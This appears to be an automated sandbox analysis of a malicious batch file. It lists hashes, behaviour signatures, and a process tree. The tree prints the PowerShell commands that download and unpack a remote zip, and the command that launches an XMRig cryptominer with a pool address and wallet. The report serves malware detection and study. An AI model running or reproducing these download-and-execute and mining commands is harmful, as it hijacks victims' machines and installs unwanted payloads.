Analysis

  • max time kernel
    1797s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2023, 07:55

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3688

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d8bb85627b82ed29e083b75fb873d8a9

    SHA1

    e5b9e8ee2e0ab23969da2bdb33d5f005a0ebf81a

    SHA256

    e540e0821ab0cd7e8da60d986bf463be8e5203e9e031c373fdfce3145f6c909f

    SHA512

    210ad1e1cbfaa73265521318ba7572e10113e201bffe81cb5c3feb8f2d598b37476dddb16e2b32f55230d3384432253a92b29bf652187fade0a83a8b85bbfc66

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6e014e9a8da60b73dcaee1903f716c96

    SHA1

    9346062741e60d9278476170a51a07a4b1b66fa1

    SHA256

    decb215bd2057eb416109f9e54622804625a33d926f3edfa13df8d26e83df028

    SHA512

    0ad363fb0297d1358b3163dc6a8aec3de3292354079b59257c19615be23a8c551760e15cbd5ddddcba9f4239be078c52ef72e3a8f8b77e709517d5ed873740f9

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_owwbttoq.gqm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1884-5-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB

  • memory/1884-6-0x000002125B1D0000-0x000002125B1E0000-memory.dmp

    Filesize

    64KB

  • memory/1884-11-0x0000021242BB0000-0x0000021242BD2000-memory.dmp

    Filesize

    136KB

  • memory/1884-12-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB

  • memory/1884-13-0x000002125B1D0000-0x000002125B1E0000-memory.dmp

    Filesize

    64KB

  • memory/1884-17-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB

  • memory/3688-74-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-81-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-117-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-116-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-115-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-114-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-113-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-49-0x0000024F52AD0000-0x0000024F52AF0000-memory.dmp

    Filesize

    128KB

  • memory/3688-50-0x0000024F542D0000-0x0000024F54310000-memory.dmp

    Filesize

    256KB

  • memory/3688-51-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-52-0x0000024F54310000-0x0000024F54330000-memory.dmp

    Filesize

    128KB

  • memory/3688-53-0x0000024F54330000-0x0000024F54350000-memory.dmp

    Filesize

    128KB

  • memory/3688-54-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-55-0x0000024F54310000-0x0000024F54330000-memory.dmp

    Filesize

    128KB

  • memory/3688-56-0x0000024F54330000-0x0000024F54350000-memory.dmp

    Filesize

    128KB

  • memory/3688-57-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-58-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-59-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-60-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-61-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-62-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-63-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-64-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-65-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-66-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-67-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-68-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-69-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-70-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-71-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-72-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-73-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-112-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-75-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-76-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-77-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-78-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-79-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-80-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-111-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-82-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-83-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-84-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-85-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-86-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-87-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-88-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-89-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-90-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-91-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-92-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-93-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-94-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-95-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-96-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-97-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-98-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-99-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-100-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-101-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-102-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-103-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-104-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-105-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-106-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-107-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-108-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-109-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3688-110-0x00007FF6DB9B0000-0x00007FF6DC4B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3944-19-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB

  • memory/3944-20-0x000001FE613E0000-0x000001FE613F0000-memory.dmp

    Filesize

    64KB

  • memory/3944-40-0x000001FE613E0000-0x000001FE613F0000-memory.dmp

    Filesize

    64KB

  • memory/3944-39-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB

  • memory/3944-33-0x000001FE79900000-0x000001FE7990A000-memory.dmp

    Filesize

    40KB

  • memory/3944-32-0x000001FE79920000-0x000001FE79932000-memory.dmp

    Filesize

    72KB

  • memory/3944-31-0x000001FE613E0000-0x000001FE613F0000-memory.dmp

    Filesize

    64KB

  • memory/3944-43-0x000001FE613E0000-0x000001FE613F0000-memory.dmp

    Filesize

    64KB

  • memory/3944-45-0x00007FF827180000-0x00007FF827C41000-memory.dmp

    Filesize

    10.8MB